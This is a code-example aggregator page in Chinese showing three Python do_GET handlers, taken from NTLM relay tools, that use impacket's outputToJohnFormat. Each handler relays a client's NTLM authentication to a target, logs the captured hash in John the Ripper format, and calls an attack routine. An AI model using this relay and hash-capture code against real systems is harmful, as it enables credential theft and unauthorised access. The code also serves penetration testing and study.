當前位置: 首頁>>代碼示例>>Python>>正文


Python smbserver.outputToJohnFormat方法代碼示例

本文整理匯總了Python中impacket.smbserver.outputToJohnFormat方法的典型用法代碼示例。如果您正苦於以下問題:Python smbserver.outputToJohnFormat方法的具體用法?Python smbserver.outputToJohnFormat怎麽用?Python smbserver.outputToJohnFormat使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在impacket.smbserver的用法示例。


在下文中一共展示了smbserver.outputToJohnFormat方法的3個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: do_GET

# 需要導入模塊: from impacket import smbserver [as 別名]
# 或者: from impacket.smbserver import outputToJohnFormat [as 別名]
def do_GET(self):
            messageType = 0
            if self.server.config.mode == 'REDIRECT':
                self.do_SMBREDIRECT()
                return

            if self.headers.getheader('Authorization') is None:
                self.do_AUTHHEAD(message = 'NTLM')
                pass
            else:
                typeX = self.headers.getheader('Authorization')
                try:
                    _, blob = typeX.split('NTLM')
                    token = base64.b64decode(blob.strip())
                except:
                    self.do_AUTHHEAD()
                messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]

            if messageType == 1:
                if not self.do_ntlm_negotiate(token):
                    #Connection failed
                    self.server.config.target.log_target(self.client_address[0],self.target)
                    self.do_REDIRECT()
            elif messageType == 3:
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)
                if not self.do_ntlm_auth(token,authenticateMessage):
                    logging.error("Authenticating against %s as %s\%s FAILED" % (self.target[1],authenticateMessage['domain_name'], authenticateMessage['user_name']))

                    #Only skip to next if the login actually failed, not if it was just anonymous login or a system account which we don't want
                    if authenticateMessage['user_name'] != '': # and authenticateMessage['user_name'][-1] != '$':
                        self.server.config.target.log_target(self.client_address[0],self.target)
                        #No anonymous login, go to next host and avoid triggering a popup
                        self.do_REDIRECT()
                    else:
                        #If it was an anonymous login, send 401
                        self.do_AUTHHEAD('NTLM')
                else:
                    # Relay worked, do whatever we want here...
                    logging.info("Authenticating against %s as %s\%s SUCCEED" % (self.target[1],authenticateMessage['domain_name'], authenticateMessage['user_name']))
                    ntlm_hash_data = outputToJohnFormat( self.challengeMessage['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm'] )
                    logging.info(ntlm_hash_data['hash_string'])
                    if self.server.config.outputFile is not None:
                        writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile)
                    self.server.config.target.log_target(self.client_address[0],self.target)
                    self.do_attack()
                    # And answer 404 not found
                    self.send_response(404)
                    self.send_header('WWW-Authenticate', 'NTLM')
                    self.send_header('Content-type', 'text/html')
                    self.send_header('Content-Length','0')
                    self.send_header('Connection','close')
                    self.end_headers()
            return 
開發者ID:joxeankoret,項目名稱:CVE-2017-7494,代碼行數:56,代碼來源:httprelayserver.py

示例2: do_GET

# 需要導入模塊: from impacket import smbserver [as 別名]
# 或者: from impacket.smbserver import outputToJohnFormat [as 別名]
def do_GET(self):
            messageType = 0
            if self.server.config.mode == 'REDIRECT':
                self.do_SMBREDIRECT()
                return

            if self.headers.getheader('Authorization') is None:
                self.do_AUTHHEAD(message = 'NTLM')
                pass
            else:
                typeX = self.headers.getheader('Authorization')
                try:
                    _, blob = typeX.split('NTLM')
                    token = base64.b64decode(blob.strip())
                except:
                    self.do_AUTHHEAD()
                messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]

            if messageType == 1:
                if not self.do_ntlm_negotiate(token):
                    #Connection failed
                    self.server.config.target.log_target(self.client_address[0],self.target)
                    self.do_REDIRECT()
            elif messageType == 3:
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)
                if not self.do_ntlm_auth(token,authenticateMessage):
                    logging.error("Authenticating against %s as %s\%s FAILED" % (
                    self.target[1], authenticateMessage['domain_name'], authenticateMessage['user_name']))

                    #Only skip to next if the login actually failed, not if it was just anonymous login or a system account which we don't want
                    if authenticateMessage['user_name'] != '': # and authenticateMessage['user_name'][-1] != '$':
                        self.server.config.target.log_target(self.client_address[0],self.target)
                        #No anonymous login, go to next host and avoid triggering a popup
                        self.do_REDIRECT()
                    else:
                        #If it was an anonymous login, send 401
                        self.do_AUTHHEAD('NTLM')
                else:
                    # Relay worked, do whatever we want here...
                    logging.info("Authenticating against %s as %s\%s SUCCEED" % (
                    self.target[1], authenticateMessage['domain_name'], authenticateMessage['user_name']))
                    ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],
                                                        authenticateMessage['user_name'],
                                                        authenticateMessage['domain_name'],
                                                        authenticateMessage['lanman'], authenticateMessage['ntlm'])
                    logging.info(ntlm_hash_data['hash_string'])
                    if self.server.config.outputFile is not None:
                        writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile)
                    self.server.config.target.log_target(self.client_address[0],self.target)

                    self.do_attack( {'CHALLENGE_MESSAGE': self.challengeMessage} )
                    # And answer 404 not found
                    self.send_response(404)
                    self.send_header('WWW-Authenticate', 'NTLM')
                    self.send_header('Content-type', 'text/html')
                    self.send_header('Content-Length','0')
                    self.send_header('Connection','close')
                    self.end_headers()
            return 
開發者ID:eth0izzle,項目名稱:cracke-dit,代碼行數:62,代碼來源:httprelayserver.py

示例3: do_GET

# 需要導入模塊: from impacket import smbserver [as 別名]
# 或者: from impacket.smbserver import outputToJohnFormat [as 別名]
def do_GET(self):
			messageType = 0
			if self.headers.getheader('Authorization') is None:
				self.do_AUTHHEAD(message = 'NTLM')
				pass
			else:
				typeX = self.headers.getheader('Authorization')
				try:
					_, blob = typeX.split('NTLM')
					token = base64.b64decode(blob.strip())
				except:
					self.do_AUTHHEAD()
				messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]

			if messageType == 1:
				if not self.do_ntlm_negotiate(token):
					#Connection failed
					self.server.config.target.log_target(self.client_address[0],self.target)
					self.do_REDIRECT()
			elif messageType == 3:
				authenticateMessage = ntlm.NTLMAuthChallengeResponse()
				authenticateMessage.fromString(token)
				if not self.do_ntlm_auth(token,authenticateMessage):
					logging.error("Authenticating against %s as %s\%s FAILED" % (self.target[1],authenticateMessage['domain_name'], authenticateMessage['user_name']))

					#Only skip to next if the login actually failed, not if it was just anonymous login or a system account which we don't want
					if authenticateMessage['user_name'] != '': # and authenticateMessage['user_name'][-1] != '$':
						self.server.config.target.log_target(self.client_address[0],self.target)
						#No anonymous login, go to next host and avoid triggering a popup
						self.do_REDIRECT()
					else:
						#If it was an anonymous login, send 401
						self.do_AUTHHEAD('NTLM')
				else:
					# Relay worked, do whatever we want here...
					logging.info("Authenticating against %s as %s\%s SUCCEED" % (self.target[1],authenticateMessage['domain_name'], authenticateMessage['user_name']))
					ntlm_hash_data = outputToJohnFormat( self.challengeMessage['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm'] )
					logging.info(ntlm_hash_data['hash_string'])
					if self.server.config.outputFile is not None:
						writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile)
					self.server.config.target.log_target(self.client_address[0],self.target)
					self.do_attack()
					# And answer 404 not found
					self.send_response(404)
					self.send_header('WWW-Authenticate', 'NTLM')
					self.send_header('Content-type', 'text/html')
					self.send_header('Content-Length','0')
					self.send_header('Connection','close')
					self.end_headers()
			return 
開發者ID:Arno0x,項目名稱:NtlmRelayToEWS,代碼行數:52,代碼來源:httprelayserver.py


注:本文中的impacket.smbserver.outputToJohnFormat方法示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。